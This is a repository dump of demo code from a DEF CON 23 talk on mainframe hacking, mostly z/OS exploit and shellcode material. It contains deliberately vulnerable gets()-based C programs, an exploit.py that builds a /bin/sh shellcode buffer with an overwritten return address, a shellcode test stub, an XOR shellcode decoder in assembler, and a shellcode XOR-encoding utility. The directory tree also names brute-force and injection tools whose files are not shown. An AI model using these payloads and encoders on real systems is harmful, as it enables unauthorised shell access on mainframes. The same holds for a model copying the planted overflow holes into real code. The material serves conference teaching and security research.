├── Exploits and Shellcode ├── README.md └── demo_code │ ├── hello_defcon │ └── hellodc.s │ ├── hello_world │ └── hi-sc-poc.c │ ├── string-overflow-shell │ ├── echo.c │ ├── exploit.py │ └── patch.py │ ├── string-overflow-who │ ├── buffer1.txt │ ├── buffer2.txt │ ├── buffer3.txt │ ├── buffer4.txt │ └── read.c │ ├── uss_cs_shell │ ├── asm_sh2.s │ ├── decoder.s │ └── stub.c │ └── utils │ └── bin2buf.py ├── Network Tools ├── NMAP │ ├── cics-enum.nse │ ├── default_cics.txt │ ├── nje-info.nse │ ├── nje-node-brute.nse │ ├── tn3270-hidden.nse │ ├── tn3270-info.nse │ ├── tn3270-screen.nse │ ├── tn3270.lua │ ├── vtam-enum.nse │ ├── vtam-macro-enum.nse │ └── vtam_enum.txt ├── README.md ├── SETn3270 │ ├── SETn3270.py │ ├── setn3270_cert │ ├── setn3270_key │ └── tn3270lib.py └── iNJEctor │ ├── JES2_Commands.txt │ ├── iNJEctor.py │ └── njelib.py └── README.md /Exploits and Shellcode/README.md: -------------------------------------------------------------------------------- 1 | #Exploit and Shellcode Tools 2 | >demo code from DEF CON 23 talk: 3 | *Security Necromancy: Further Adventures in Mainframe Hacking* 4 | 5 | ##Files 6 | - demo_code/ 7 | - demo_code/hello_defcon 8 | - demo_code/hello_defcon/hellodc.s 9 | - *hellodc.s - assembler code to demo WTOR SVC call* 10 | - demo_code/hello_world 11 | - demo_code/hello_world/hi-sc-poc.c 12 | - *hi-sc-poc-c - demonstrate basic code-as-instructions POC* 13 | - demo_code/string-overflow-shell 14 | - demo_code/string-overflow-shell/echo.c 15 | - *echo.c - vulnerable echo program demo string buffer overflow* 16 | - demo_code/string-overflow-shell/exploit.py 17 | - *exploit.py - delivery script for shellcode to vulnerable program* 18 | - demo_code/string-overflow-shell/patch.py 19 | - *patch.py - patch a binary to edit code once complied (rough)* 20 | - demo_code/string-overflow-who 21 | - demo_code/string-overflow-who/buffer1.txt 22 | - demo_code/string-overflow-who/buffer2.txt 23 | - demo_code/string-overflow-who/buffer3.txt 24 | - demo_code/string-overflow-who/buffer4.txt 25 | - *buffer[x].txt - various test buffers used for read.c POC* 26 | - demo_code/string-overflow-who/patch.py 27 | - *patch.py - patch a binary to edit code once complied (rough)* 28 | - demo_code/string-overflow-who/read.c 29 | - *read.c - vulnerable read program develop string buffer overflow* 30 | - demo_code/string-overflow-shell/exploit.py 31 | - *exploit.py - delivery script for shellcode to vulnerable program* 32 | - demo_code/uss_cs_shell 33 | - demo_code/uss_cs_shell/asm_sh2.s 34 | - *asm_sh2.s - Assembler code to use callable services to launch a shell* 35 | - demo_code/uss_cs_shell/decoder.s 36 | - *decoder.s - shellcode decoder (use bin2buf.py for encoding)* 37 | - demo_code/uss_cs_shell/stub.c 38 | - *stub.c - stub program to test shellcode* 39 | - demo_code/utils 40 | - demo_code/utils/bin2buf.py 41 | - *bin2buf.py - python script to convert binary with offsets into string of bytes* 42 | - *in either c or assembler. Also XOR encodes strings* 43 | 44 | -------------------------------------------------------------------------------- /Exploits and Shellcode/demo_code/hello_defcon/hellodc.s: -------------------------------------------------------------------------------- 1 | TITLE 'hello defcon' 2 | HELLODC CSECT 3 | HELLODC AMODE 31 4 | HELLODC RMODE ANY 5 | @SETUP DS 0F 6 | STM 14,12,12(13) # save our registers 7 | LARL 15,@SETUP 8 | LR 8,15 9 | USING @SETUP,8 # give us some addressability 10 | LARL 11,SAVEAREA # sa address 11 | ST 13,4(,11) # save caller's save area 12 | LR 13,11 13 | DS 0H 14 | BRAS 0,MAIN 15 | FNAME DC C'BPX1WRT ' 16 | DC X'0' 17 | MAIN LARL 0,FNAME 18 | XR 1,1 19 | SVC 8 20 | ST 0,GETENTRY 21 | L 15,GETENTRY 22 | CALL (15),(FD,AMSG,ALET,LEN,RTN_VAL,RTN_COD,RSN_COD),VL 23 | L 13,4(,11) 24 | LM 14,12,12(13) # restore registers 25 | XR 15,15 # zero return code 26 | BCR 15,14 # branch to caller 27 | DS 0F # constants area 28 | GETENTRY DS A 29 | DC X'00000000' 30 | SAVEAREA DC X'00000000' 31 | DC X'00000000' 32 | DC X'00000000' 33 | DC X'00000000' 34 | FD DC F'1' 35 | AMSG DC A(MSG) 36 | MSG DC C'Hello Defcon!' 37 | NEW_LINE DC X'15' 38 | ALET DC F'0' 39 | LEN DC A(L'MSG+L'NEW_LINE) 40 | RTN_VAL DC F'0' 41 | RTN_COD DC F'0' 42 | RSN_COD DC F'0' 43 | END @SETUP 44 | -------------------------------------------------------------------------------- /Exploits and Shellcode/demo_code/hello_world/hi-sc-poc.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | int main() { 4 | /* The following assembly moves hex val into r7 */ 5 | char sc[] = /* proving we can execute strings as instruction */ 6 | "\x17\x77" /* XOR R7,R7 <- XOR Reg 7 / clears it */ 7 | "\xc0\x71\xde\xad\xbe\xef" /* AGHI R7,0xdeadbeef Move 0xDEADBEEF into R7 */ 8 | "\x07\xFE"; /* BCR 15,R14 <- return to ret addr in R14 */ 9 | 10 | int (*ret)(); /* our dummy function */ 11 | ret = (int(*)())sc; /* the cast of our shellcode to dummy function */ 12 | (int)(*ret)(); /* execute the function */ 13 | return 0; 14 | } 15 | -------------------------------------------------------------------------------- /Exploits and Shellcode/demo_code/string-overflow-shell/echo.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | int main(int argc, char ** argv){ 6 | char buf[600]={'\0'}; 7 | int x=2; 8 | 9 | if (!isatty(fileno(stdin))){ 10 | gets(buf); 11 | printf("You entered:\'%s\'\n",buf); 12 | }else{ 13 | printf("R13: %x\n",x); 14 | printf("&buf: %x\n",&buf); 15 | } 16 | return 0; 17 | } 18 | -------------------------------------------------------------------------------- /Exploits and Shellcode/demo_code/string-overflow-shell/exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/local/bin/python 2 | import sys 3 | 4 | ###################################################### 5 | # pgm to generate buffer for read.c vulnerable pgm # 6 | ###################################################### 7 | 8 | def build(a1,a2): 9 | ################## 10 | # constants area # 11 | ################## 12 | sp="\x1e\x92\x52\x48" 13 | jmpaddr="\x1e\x92\x52\xf0" 14 | bytes_to_sp = 12 15 | buffsize = 600 16 | fname = "buf" 17 | filler = '' 18 | 19 | ################## 20 | # sc buf # 21 | # 368 byte # 22 | # /bin/sh sc # 23 | ################## 24 | buf = ( 25 | "\x90\xec\xd0\x0c\xc0\xf0\xff\xff\xff\xfe\x18\x8f\xc0\xb0\x00\x00" 26 | "\x00\x66\x50\xd0\xb0\x00\x18\xdb\xa7\x05\x00\x07\xc2\xd7\xe7\xf1" 27 | "\xc5\xe7\xc3\x40\x00\x00\xc0\x00\xff\xff\xff\xfb\x17\x11\x0a\x08" 28 | "\x50\x00\x80\xd4\x58\xf0\x80\xd4\x41\x60\x81\x10\x18\x16\x41\x70" 29 | "\x80\xdc\x50\x70\x60\x00\x41\x70\x80\xe0\x50\x70\x60\x04\x41\x70" 30 | "\x80\xe8\x50\x70\x60\x08\x41\x70\x81\x48\x50\x70\x60\x0c\x41\x90" 31 | "\x81\x00\x50\x90\x70\x00\x41\x90\x81\x04\x50\x90\x70\x04\x41\x90" 32 | "\x81\x08\x50\x90\x70\x08\x41\x70\x81\x58\x50\x70\x60\x10\x41\x90" 33 | "\x80\xec\x50\x90\x70\x00\x41\x90\x80\xed\x50\x90\x70\x04\x41\x90" 34 | "\x80\xef\x50\x90\x70\x08\x41\x70\x81\x0c\x50\x70\x60\x14\x50\x70" 35 | "\x60\x18\x50\x70\x60\x1c\x50\x70\x60\x20\x50\x70\x60\x24\x50\x70" 36 | "\x60\x28\x50\x70\x60\x2c\xc0\x77\x80\x00\x00\x00\x50\x70\x60\x30" 37 | "\xa7\x6a\x00\x04\x05\xef\x58\xd0\xb0\x00\x98\xec\xd0\x0c\x17\xff" 38 | "\x07\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x07" 39 | "\x61\x82\x89\x95\x61\xa2\x88\x00\x00\x00\x00\x03\x00\x60\x83\x61" 40 | "\x82\x89\x95\x61\xa2\x88\x4c\x61\x84\x85\xa5\x61\xa3\xa3\xa8\x00" 41 | "\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x10\x00\x00\x00\x00" 42 | "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 43 | "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 44 | "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 45 | "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 46 | "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 47 | "\x00\x00\x00\x00\x00\x00\x00\x00\xde\xad\xbe\xef\xf0\xf0\xf0\xf0") 48 | 49 | ################## 50 | # jmp back to mn # 51 | # 14 bytes # 52 | ################## 53 | #getsret = "\x58\xd0\xd0\x04\x58\xe0\xd0\x0c\x98\x26\xd0\x1c\x05\x1e" 54 | #getsret = "AAAA" 55 | getsret = "" 56 | 57 | ################## 58 | # build up our # 59 | # payload # 60 | ################## 61 | payload0 = getsret + buf 62 | payload1 = payload0 + (buffsize - len(payload0))*"B" 63 | payload2 = payload1 + "C" * bytes_to_sp 64 | payload3 = payload2 + sp + "DDDD" + jmpaddr 65 | payload4 = payload3 + filler 66 | 67 | 68 | if a1=="f": 69 | ofile=open(fname,'w+b') 70 | ofile.write(payload4) 71 | ofile.flush() 72 | ofile.close() 73 | else: 74 | # send to std out 75 | print(payload4) 76 | 77 | ################## 78 | # main function # 79 | ################## 80 | if __name__ == "__main__": 81 | if len(sys.argv) > 1: 82 | if sys.argv[1] == "f": 83 | build("f","") 84 | else: 85 | build("","") 86 | -------------------------------------------------------------------------------- /Exploits and Shellcode/demo_code/string-overflow-shell/patch.py: -------------------------------------------------------------------------------- 1 | fname="echo" 2 | f=open(fname,"rb") 3 | 4 | #this script 'patches' a binary 5 | #need to replace these bytes with the correct offset 6 | #from your debugger 7 | 8 | fstr = "5000D0b4" # ST r0,x(,r13,180) 50 0 0 D 0b4 9 | nstr = "50D0D0b4" # ST r13,x(,r13,180) 50 D 0 D 0b4 10 | 11 | buf=f.read() 12 | f.close() 13 | print len(buf) 14 | 15 | g=buf.find(fstr.decode('hex')) 16 | 17 | print g 18 | 19 | 20 | buf=buf.replace(fstr.decode('hex'),nstr.decode('hex')) 21 | 22 | g=buf.find(nstr.decode('hex')) 23 | 24 | print g 25 | 26 | open(fname,"w+b").write(buf) 27 | -------------------------------------------------------------------------------- /Exploits and Shellcode/demo_code/string-overflow-who/buffer1.txt: -------------------------------------------------------------------------------- 1 | Hello World 2 | -------------------------------------------------------------------------------- /Exploits and Shellcode/demo_code/string-overflow-who/buffer2.txt: -------------------------------------------------------------------------------- 1 | AAAAAAAAAAAAAAAAAAAAAAAABBBB -------------------------------------------------------------------------------- /Exploits and Shellcode/demo_code/string-overflow-who/buffer3.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zedsec390/defcon23/c03dabf2725236bc8924387aa45b90c7fa00a8fd/Exploits and Shellcode/demo_code/string-overflow-who/buffer3.txt -------------------------------------------------------------------------------- /Exploits and Shellcode/demo_code/string-overflow-who/buffer4.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zedsec390/defcon23/c03dabf2725236bc8924387aa45b90c7fa00a8fd/Exploits and Shellcode/demo_code/string-overflow-who/buffer4.txt -------------------------------------------------------------------------------- /Exploits and Shellcode/demo_code/string-overflow-who/read.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | 6 | int main(int argc, char ** argv){ 7 | char buf[10]={'\0'}; 8 | int x=2; 9 | 10 | if (!isatty(fileno(stdin))){ 11 | gets(buf); 12 | printf("Read from pipe:\'%s\'\n",buf); 13 | }else{ 14 | printf("R13: %x\n",x); 15 | printf("&buf: %x\n",&buf); 16 | } 17 | return 0; 18 | } 19 | -------------------------------------------------------------------------------- /Exploits and Shellcode/demo_code/uss_cs_shell/asm_sh2.s: -------------------------------------------------------------------------------- 1 | TITLE 'pop shell for shell code' 2 | NSHELL CSECT 3 | NSHELL AMODE 31 4 | NSHELL RMODE ANY 5 | ENTRY MAIN 6 | MAIN DS 0F 7 | STM 14,12,12(13) # save our registers 8 | LARL 15,MAIN 9 | LR 8,15 10 | USING MAIN,8 # give us some addressability 11 | LARL 11,SAVEAREA # sa address 12 | ST 13,0(,11) # save caller's save area 13 | LR 13,11 14 | DS 0H 15 | BRAS 0,BEGIN 16 | FNAME DC C'BPX1EXC ' 17 | DC X'0' 18 | BEGIN LARL 0,FNAME 19 | XR 1,1 20 | SVC 8 21 | ST 0,GETENTRY # GETENTRY addr of bpx1exc call 22 | L 15,GETENTRY 23 | LA 6,FULLARG # FULLARG is arg stack for func call 24 | LR 1,6 # R1 has base of FULLARG for later call 25 | *********************************************************************** 26 | * What follows is the arguments for the BPX1EXC callable service * 27 | * built like this for compaction of the code * 28 | * "args" refer to the args of the BPX1EXC call itself * 29 | * "parms" refer to the parameters of the exec'd cmd (here /bin/sh) * 30 | * * 31 | *********************************************************************** 32 | LA 7,PATHLEN 33 | ST 7,0(,6) # store it's addr in first slot 34 | LA 7,PATH 35 | ST 7,4(,6) 36 | LA 7,ARGC 37 | ST 7,8(,6) 38 | * list of addresses of parms lengths 39 | LA 7,ARGLL # ARGLL - arg 4 40 | ST 7,12(,6) 41 | * individual parms lengths 42 | LA 9,ARG1L # shell parm len 1 43 | ST 9,0(,7) # store in length list slot 1 44 | LA 9,ARG2L # arg2 len 2 45 | ST 9,4(,7) # store in length list slot 2 46 | LA 9,ARG3L # arg3 len 16 47 | ST 9,8(,7) # store in length list slot 3 48 | * list of addresses of parms 49 | LA 7,ARGLIST # ARGLIST - arg 5 50 | ST 7,16(,6) 51 | * individual parms 52 | LA 9,ARG1 # parm1 is null 53 | ST 9,0(,7) 54 | LA 9,ARG2 # parm2 is "-c" 55 | ST 9,4(,7) 56 | LA 9,ARG3 # parm3 ensures valid stdin 57 | ST 9,8(,7) 58 | * 0 is used for the last 8 args ENVC,ENVLL,ENVLIST,EXITADR, 59 | * EXITPGM,RTNVAL,RTNCODE,RSNCODE 60 | LA 7,ZERO 61 | ST 7,20(,6) 62 | ST 7,24(,6) 63 | ST 7,28(,6) 64 | ST 7,32(,6) 65 | ST 7,36(,6) 66 | ST 7,40(,6) 67 | ST 7,44(,6) 68 | * for last arg need to add 0x80000000 (per asm callable svcs) 69 | XILF 7,X'80000000' 70 | ST 7,48(,6) 71 | AHI 6,4 72 | GO BALR 14,15 73 | * cleanup 74 | L 13,0(,11) 75 | LM 14,12,12(13) # restore registers 76 | XR 15,15 # zero return code 77 | BCR 15,14 # branch to caller 78 | DS 0F # constants area 79 | GETENTRY DC X'00000000' 80 | SAVEAREA DC X'00000000' 81 | PATHLEN DC F'7' # PATHLEN - arg 1 82 | PATH DC C'/bin/sh' # PATH - arg 2 83 | ARGC DC F'3' # ARGC - arg 3 84 | ARG1 DC XL1'0' 85 | ARG2 DC CL2'-c' 86 | ARG3 DC C'/bin/sh 60 | CHI 1,368 # to yield sc len 61 | BRC 4,LOOP2 # loop bwd 18 bytes if R1 < size 62 | XR 4,4 63 | ** Begin cleanup and stack management ** 64 | L 13,4(4,11) # reload old SP 65 | BASR 14,5 # jmp to sc 66 | ** End main decoding routine ** 67 | DC X'DEADBEEF' #egg 68 | DC X'DEADBEEF' #egg + old sp 69 | DC X'DEADBEEF' #egg + nothing 70 | DC X'DEADBEEF' #egg + used by sc for save 71 | ******************************************************************* 72 | * the following is shellcode that "execs" a shell using BP1EXC * 73 | * assembler callable service padded at the end with 00's to land * 74 | * on word boundaries * 75 | * the hex is then xor encoded with 0xff per byte to remove nulls * 76 | * PASTE YOUR BUFFER AFTER HERE * 77 | ******************************************************************* 78 | *Buffer length: 736 79 | *Number of bytes: 368 80 | *Padding bytes: 4 81 | *Enc buffer char: 0x6 82 | * 83 | *ASM buffer: 84 | DC X'96ead60ac6f6f9f9f9f81e89c6b60606066056d6b6061edda10306X 85 | 01c4d1e1f7c3e1c5460606c606f9f9f9fd11170c0e560686d25ef686X 86 | d2476687161e10477686da56766606477686e656766602477686ee56X 87 | 76660e4776874e5676660a4796870656967606479687025696760247X 88 | 96870e5696760e4776875e5676661647' 89 | DC X'9686ea56967606479686eb56967602479686e95696760e4776870aX 90 | 567666125676661e5676661a56766626567666225676662e5676662aX 91 | c6718606060656766636a16c060203e95ed6b6069eead60a11f901f8X 92 | 060606060606060606060606060167848f9367a48e06060606050666X 93 | 8567848f9367a48e4a678283a367a5a5' 94 | DC X'ae0606060607060606040606061606060606060606060606060606X 95 | 06060606060606060606060606060606060606060606060606060606X 96 | 06060606060606060606060606060606060606060606060606060606X 97 | 0606060606060606060606060606060606060606060606d8abb8e9f6X 98 | f6f6f6' 99 | ****************************************************************** 100 | * PASTE YOUR BUFFER BEFORE HERE * 101 | * Leave the below * 102 | ****************************************************************** 103 | DC X'8BADF00D' eof marker 104 | DC X'8BADF00D' eof marker 105 | DC X'8BADF00D' eof marker 106 | END 107 | -------------------------------------------------------------------------------- /Exploits and Shellcode/demo_code/uss_cs_shell/stub.c: -------------------------------------------------------------------------------- 1 | int main() { 2 | unsigned char sc[] = 3 | "\x90\xec\xd0\x0c\xc0\xf0\xff\xff\xff\xfe\x18\xcf\x17\x11\x17\x22" 4 | "\x17\x33\xc2\x19\x01\x01\x01\x02\xc2\x29\x01\x01\x01\x03\x17\x12" 5 | "\x18\x41\x8b\x40\x10\x01\x17\xaa\x17\x22\xc0\xa1\xde\xad\xbe\xef" 6 | "\x18\xbc\x1a\xb1\x58\x32\xb0\x01\x19\xa3\xa7\x74\xff\xfc\x1a\xb4" 7 | "\x58\x32\xb0\x01\x19\xa3\xa7\x74\xff\xf6\x17\x22\x17\x33\x1a\xb1" 8 | "\x1b\xb4\x50\xd0\xb0\x04\x50\xb0\xd0\x08\x18\xdb\x18\x3b\x1a\x34" 9 | "\x1a\x34\x1a\x34\x1a\x34\x18\x53\x1b\x31\x18\x41\x17\x11\x17\x22" 10 | "\x97\x06\x30\x01\x1a\x14\xb9\xf8\x10\x23\x97\x06\x20\x01\xa7\x1e" 11 | "\x01\x70\xa7\x44\xff\xf9\x17\x44\x58\xd4\xb0\x04\x0d\xe5\xde\xad" 12 | "\xbe\xef\xde\xad\xbe\xef\xde\xad\xbe\xef\xde\xad\xbe\xef\x96\xea" 13 | "\xd6\x0a\xc6\xf6\xf9\xf9\xf9\xf8\x1e\x89\xc6\xb6\x06\x06\x06\x60" 14 | "\x56\xd6\xb6\x06\x1e\xdd\xa1\x03\x06\x01\xc4\xd1\xe1\xf7\xc3\xe1" 15 | "\xc5\x46\x06\x06\xc6\x06\xf9\xf9\xf9\xfd\x11\x17\x0c\x0e\x56\x06" 16 | "\x86\xd2\x5e\xf6\x86\xd2\x47\x66\x87\x16\x1e\x10\x47\x76\x86\xda" 17 | "\x56\x76\x66\x06\x47\x76\x86\xe6\x56\x76\x66\x02\x47\x76\x86\xee" 18 | "\x56\x76\x66\x0e\x47\x76\x87\x4e\x56\x76\x66\x0a\x47\x96\x87\x06" 19 | "\x56\x96\x76\x06\x47\x96\x87\x02\x56\x96\x76\x02\x47\x96\x87\x0e" 20 | "\x56\x96\x76\x0e\x47\x76\x87\x5e\x56\x76\x66\x16\x47\x96\x86\xea" 21 | "\x56\x96\x76\x06\x47\x96\x86\xeb\x56\x96\x76\x02\x47\x96\x86\xe9" 22 | "\x56\x96\x76\x0e\x47\x76\x87\x0a\x56\x76\x66\x12\x56\x76\x66\x1e" 23 | "\x56\x76\x66\x1a\x56\x76\x66\x26\x56\x76\x66\x22\x56\x76\x66\x2e" 24 | "\x56\x76\x66\x2a\xc6\x71\x86\x06\x06\x06\x56\x76\x66\x36\xa1\x6c" 25 | "\x06\x02\x03\xe9\x5e\xd6\xb6\x06\x9e\xea\xd6\x0a\x11\xf9\x01\xf8" 26 | "\x06\x06\x06\x06\x06\x06\x06\x06\x06\x06\x06\x06\x06\x01\x67\x84" 27 | "\x8f\x93\x67\xa4\x8e\x06\x06\x06\x06\x05\x06\x66\x85\x67\x84\x8f" 28 | "\x93\x67\xa4\x8e\x4a\x67\x82\x83\xa3\x67\xa5\xa5\xae\x06\x06\x06" 29 | "\x06\x07\x06\x06\x06\x04\x06\x06\x06\x16\x06\x06\x06\x06\x06\x06" 30 | "\x06\x06\x06\x06\x06\x06\x06\x06\x06\x06\x06\x06\x06\x06\x06\x06" 31 | "\x06\x06\x06\x06\x06\x06\x06\x06\x06\x06\x06\x06\x06\x06\x06\x06" 32 | "\x06\x06\x06\x06\x06\x06\x06\x06\x06\x06\x06\x06\x06\x06\x06\x06" 33 | "\x06\x06\x06\x06\x06\x06\x06\x06\x06\x06\x06\x06\x06\x06\x06\x06" 34 | "\x06\x06\x06\x06\x06\x06\x06\x06\x06\x06\x06\x06\x06\x06\x06\x06" 35 | "\x06\x06\x06\x06\x06\x06\xd8\xab\xb8\xe9\xf6\xf6\xf6\xf6\x8b\xad" 36 | "\xf0\x0d\x8b\xad\xf0\x0d\x8b\xad"; 37 | 38 | 39 | int (*ret)(); 40 | ret = (int(*)())(sc); 41 | (int)(*ret)(); 42 | return 0; 43 | } 44 | -------------------------------------------------------------------------------- /Exploits and Shellcode/demo_code/utils/bin2buf.py: -------------------------------------------------------------------------------- 1 | #!/usr/local/bin/python 2 | import sys,os 3 | from argparse import ArgumentParser 4 | 5 | ############################################################## 6 | ## # 7 | ## Simple buffer formatter with XOR char encoder # 8 | ## Author: BeS # 9 | ## Date: 8/4/2015 # 10 | ## # 11 | ############################################################## 12 | 13 | 14 | ## This setting pads buffers with PADCHAR to be a multiple of 8 15 | PADDING=True 16 | PADCHAR="0" 17 | PMUL=8 18 | C_LINE_LEN=16 19 | DEBUG=False 20 | MAXLEN=254 21 | 22 | GOODCHARS = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 16, 23 | 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 24 | 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 25 | 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 26 | 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 27 | 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 28 | 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 29 | 95, 96, 97, 98, 99, 100, 101, 102, 103, 104, 105, 30 | 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 31 | 116, 117, 118, 119, 120, 121, 122, 123, 124, 125, 32 | 126, 127, 128, 129, 130, 131, 132, 133, 134, 135, 33 | 136, 137, 138, 139, 140, 141, 142, 143, 144, 145, 34 | 146, 147, 148, 149, 150, 151, 152, 153, 154, 155, 35 | 156, 157, 158, 159, 160, 161, 162, 163, 164, 165, 36 | 166, 167, 168, 169, 170, 171, 172, 173, 174, 175, 37 | 176, 177, 178, 179, 180, 181, 182, 183, 184, 185, 38 | 186, 187, 188, 189, 190, 191, 192, 193, 194, 195, 39 | 196, 197, 198, 199, 200, 201, 202, 203, 204, 205, 40 | 206, 207, 208, 209, 210, 211, 212, 213, 214, 215, 41 | 216, 217, 218, 219, 220, 221, 222, 223, 224, 225, 42 | 226, 227, 228, 229, 230, 231, 232, 233, 234, 235, 43 | 236, 237, 238, 239, 240, 241, 242, 243, 244, 245, 44 | 246, 247, 248, 249, 250, 251, 252, 253, 254, 255] 45 | 46 | 47 | ############################################################## 48 | ## # 49 | ## Does a debug output , p_exit=True prints and exits # 50 | ## otherwise prints and returns # 51 | ## # 52 | ############################################################## 53 | def debugPrint(msg,p_exit=False): 54 | if (DEBUG or p_exit): 55 | msg = "{0:s}".format(msg) 56 | if p_exit: 57 | sys.exit("ERROR: {0:s}".format(msg)) 58 | else: 59 | print("DEBUG: {0:s}".format(msg)) 60 | 61 | ## end debugPrint 62 | 63 | ############################################################# 64 | ## finds unique char not in buffer for XOR'ing ## 65 | ## needs buf of hex bytes ## 66 | ############################################################# 67 | 68 | def findXchar(buf): 69 | xchar=0 70 | for i in (GOODCHARS): 71 | tmp=buf.find("{0:02x}".format(i).decode('hex')) 72 | 73 | if tmp == -1: 74 | xchar = i 75 | debugPrint("findXchar found possible candidate at {0:#02x}".format(xchar)) 76 | break 77 | return xchar 78 | 79 | ############################################################# 80 | ## finds unique char not in buffer for XOR'ing ## 81 | ## takes in hex encoded buffer, returns XOR encoded ## 82 | ## hex encoded string buffer ## 83 | ############################################################# 84 | 85 | def xorEncode(forig,xchar): 86 | tmp = "" 87 | tlen = len(forig) 88 | for i in range(0,len(forig),2): 89 | tmp += "{0:02x}".format(int((forig[i:i+2]),16) ^ xchar) 90 | 91 | if len(tmp) != tlen: 92 | ## exit ## 93 | debugPrint("Xor encode buffer length mismatch. Exiting.",True) 94 | 95 | debugPrint("Encoded buffer len {0:d}".format(len(tmp))) 96 | return tmp 97 | ############################################################# 98 | ## Builds the ASM buffer ## 99 | ############################################################# 100 | 101 | def buildASMbuf(forig,flen): 102 | 103 | # recursive option for long buffers 104 | if (flen>255): 105 | asmoutput="" 106 | chunks = flen/MAXLEN 107 | if flen % MAXLEN > 0: 108 | chunks += 1 109 | for i in range(0,chunks): 110 | # recursively call ourself with chunks # of MAXLEN blocks 111 | asmoutput += buildASMbuf(forig[i*MAXLEN:(i*MAXLEN)+MAXLEN],MAXLEN) 112 | return asmoutput 113 | 114 | ## Line leader, spacing correct for cut and paste 115 | asmoutput=" DC X'" 116 | 117 | ## Calculate number of characters available for first line 118 | lcont= 72 119 | line1=lcont - len(asmoutput) - 1 120 | 121 | ## 122 | ## We'll put the continuation character in pos 72 if the buffer 123 | ## doesn't fit on one line 124 | ## 125 | 126 | ## calculate first line 127 | if (flen > line1): 128 | asmoutput += (forig[0:line1] + "X\n") 129 | forig = forig[line1:] 130 | flen = len(forig) 131 | else: 132 | asmoutput += (forig[0:line1] + "'\n") 133 | flen = 0 134 | 135 | ## build remaining lines 136 | for i in range(0,flen,56): 137 | asmoutput += " " * 15 138 | if (flen - i) > 56: 139 | asmoutput += forig[i:i+56] + "X\n" 140 | else: 141 | asmoutput += forig[i:] + "'\n" 142 | return asmoutput 143 | 144 | ############################################################# 145 | ## # 146 | ## generates a mvs assembler style constant to be used in # 147 | ## also generates c buffer style # 148 | ## a mvs assembly pgm # 149 | ## # 150 | ############################################################# 151 | def genDC(forig,of_type): 152 | global GOODCHARS 153 | 154 | # some vars used later on 155 | flen = len(forig) 156 | psize = 0 157 | 158 | ## pad if necessary, reset buffer and len 159 | if (PADDING and (flen % PMUL != 0)): 160 | psize = (flen % PMUL) 161 | ppad = PADCHAR * psize 162 | forig = forig + ppad 163 | 164 | goodBuf = False 165 | while not goodBuf: 166 | 167 | # see if there is an non-existing hex value we can use 168 | # to xor with 169 | xchar = findXchar(forig) 170 | if xchar == 0: 171 | sys.exit("No unique xchar found.\n Exiting") 172 | 173 | forig = forig.encode('hex') 174 | flen = len(forig) 175 | 176 | # build encoded version 177 | fenc = xorEncode(forig,xchar) 178 | 179 | # check for newlines / nulls 180 | if ((fenc.decode('hex').find('\x15') == -1) and (fenc.decode('hex').find('\x00') == -1)): 181 | debugPrint ("Good char found {0:#02x}".format(xchar)) 182 | goodBuf = True 183 | else: 184 | try: 185 | debugPrint("Newline or null found") 186 | debugPrint("Removing char {0:#02x} ".format(xchar)) 187 | if xchar == 0xff: 188 | ## exit ## 189 | debugPrint("No valid XOR candidates. Exiting",True) 190 | GOODCHARS.remove(int(xchar)) 191 | forig = forig.decode('hex') #need to clean this up# 192 | except ValueError as v: 193 | debugPrint("All values removed. Exiting",True) 194 | 195 | 196 | #debug string output of bin 197 | debugPrint("Debug HEX(unencoded) Code: \'{0:s}\'\n".format(forig)) 198 | debugPrint("Debug HEX(enc w/{0:#02x} Code: \'{1:s}\'\n".format(xchar,fenc)) 199 | 200 | 201 | 202 | ### 203 | ### build our asm buf 204 | ### 205 | asmoutput=buildASMbuf(fenc,flen) 206 | 207 | ## 208 | ## generate c style buffer 209 | ## both encoded and non-encoded with hx const above 210 | ## 211 | 212 | coutput="\"" 213 | encoutput="\"" 214 | cinput = forig 215 | cencip = fenc 216 | dbyte = ebyte = fdbyte = febyte = "" 217 | line=0 218 | 219 | ## encoding formating here 220 | for i in range(0,len(cinput),2): 221 | dbyte = int((cinput[i:i+2]),16) 222 | ebyte = int((cencip[i:i+2]),16) 223 | fdbyte = ("\\x{0:02x}").format(dbyte) 224 | febyte = ("\\x{0:02x}").format(ebyte) 225 | coutput +=fdbyte 226 | encoutput +=febyte 227 | line += 1 228 | if line==C_LINE_LEN: 229 | coutput += "\"\n\"" 230 | encoutput += "\"\n\"" 231 | line = 0 232 | coutput += "\"" 233 | encoutput += "\"" 234 | 235 | 236 | ### 237 | ### some output info 238 | ### 239 | print ("*Buffer length: {0:6d}").format(flen) 240 | print ("*Number of bytes: {0:6d}").format(flen/2) 241 | print ("*Padding bytes: {0:6d}").format(psize) 242 | 243 | ## output our buffers 244 | if of_type in [1,4]: 245 | print ("*Enc buffer char: {0:>#02x}").format(xchar) 246 | print "* " 247 | print "*ASM buffer: " 248 | print asmoutput 249 | if of_type in [2,4]: 250 | print "C buffer: " 251 | print coutput 252 | if of_type in [3,4]: 253 | print ("*Enc buffer char: {0:>#02x}").format(xchar) 254 | print "Encoded C buffer: " 255 | print encoutput 256 